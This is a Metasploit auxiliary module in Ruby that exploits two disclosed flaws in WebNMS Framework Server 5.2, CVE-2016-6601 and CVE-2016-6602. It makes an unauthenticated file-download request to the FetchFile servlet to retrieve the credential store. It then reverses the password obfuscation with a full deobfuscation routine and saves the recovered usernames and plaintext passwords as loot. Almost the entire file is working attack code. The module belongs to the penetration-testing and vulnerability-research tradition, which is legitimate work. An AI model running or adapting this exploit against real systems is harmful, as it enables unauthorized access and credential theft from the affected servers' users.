## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'WebNMS Framework Server Credential Disclosure', 'Description' => %q{ This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract all user credentials. The first vulnerability is an unauthenticated file download in the FetchFile servlet, which is used to download the file containing the user credentials. The second vulnerability is that the passwords in the file are obfuscated with a very weak algorithm which can be easily reversed. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux. }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-6601'], [ 'CVE', '2016-6602'], [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ], [ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ] ], 'DisclosureDate' => '2016-07-04' ) ) register_options( [ OptPort.new('RPORT', [true, 'The target port', 9090]), OptString.new('TARGETURI', [true, 'WebNMS path', '/']) ], self.class ) end def version_check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), 'method' => 'GET', 'vars_get' => { 'fileName' => 'help/index.html' } ) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e vprint_error("Failed to get Version: #{e.class} - #{e.message}") return end if res && res.code == 200 && !res.body.empty? title_string = res.get_html_document.at('title').to_s version = title_string.match(/[0-9]+.[0-9]+/) vprint_status("Version Detected = #{version}") end end def run # version check will not stop the module, but it will try to # determine the version and print it if verbose is set to true version_check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), 'method' => 'GET', 'vars_get' => { 'fileName' => 'conf/securitydbData.xml' } ) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Module Failed: #{e.class} - #{e.message}") end if res && res.code == 200 && !res.body.empty? cred_table = Rex::Text::Table.new( 'Header' => 'WebNMS Login Credentials', 'Indent' => 1, 'Columns' => [ 'Username', 'Password' ] ) print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..." res.body.to_s.each_line do |line| # we need these checks because username and password might appear in any random position in the line if line.include? 'username=' username = line.match(/username="(\w*)"/)[1] end if line.include? 'password=' password = line.match(/password="(\w*)"/)[1] end next unless password && username plaintext_password = super_redacted_deobfuscation(password) cred_table << [ username, plaintext_password ] connection_details = { module_fullname: fullname, username: username, private_data: plaintext_password, private_type: :password, status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_details) create_credential_and_login(connection_details) end print_line print_line(cred_table.to_s) loot_name = 'webnms.creds' loot_type = 'text/csv' loot_filename = 'webnms_login_credentials.csv' loot_desc = 'WebNMS Login Credentials' p = store_loot( loot_name, loot_type, rhost, cred_table.to_csv, loot_filename, loot_desc ) print_status "Credentials saved in: #{p}" return end end # Returns the plaintext of a string obfuscated with WebNMS's super redacted obfuscation algorithm. # I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time! def super_redacted_deobfuscation(ciphertext) input = ciphertext input = input.gsub('Z', '000') base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a base.push 'I' base += 'J'.upto('Y').to_a answer = '' k = 0 remainder = 0 co = input.length / 6 while k < co part = input[(6 * k), 6] partnum = '' startnum = false for i in 0...5 isthere = false pos = 0 until isthere if part[i] == base[pos] isthere = true partnum += pos.to_s if pos == 0 if !startnum answer += '0' end else startnum = true end end pos += 1 end end isthere = false pos = 0 until isthere if part[5] == base[pos] isthere = true remainder = pos end pos += 1 end if partnum.to_s == '00000' if remainder != 0 tempo = remainder.to_s temp1 = answer[0..(tempo.length)] answer = temp1 + tempo end else answer += (partnum.to_i * 60 + remainder).to_s end k += 1 end if input.length % 6 != 0 ending = input[(6 * k)..(input.length)] partnum = '' if ending.length > 1 i = 0 startnum = false for i in 0..(ending.length - 2) isthere = false pos = 0 until isthere if ending[i] == base[pos] isthere = true partnum += pos.to_s if pos == 0 if !startnum answer += '0' end else startnum = true end end pos += 1 end end isthere = false pos = 0 until isthere if ending[i + 1] == base[pos] isthere = true remainder = pos end pos += 1 end answer += (partnum.to_i * 60 + remainder).to_s else isthere = false pos = 0 until isthere if ending == base[pos] isthere = true remainder = pos end pos += 1 end answer += remainder.to_s end end final = '' for k in 0..((answer.length / 2) - 1) final.insert(0, (answer[2 * k, 2].to_i + 28).chr) end final end def service_details super.merge({ service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP') }) # this should possibly be removed end end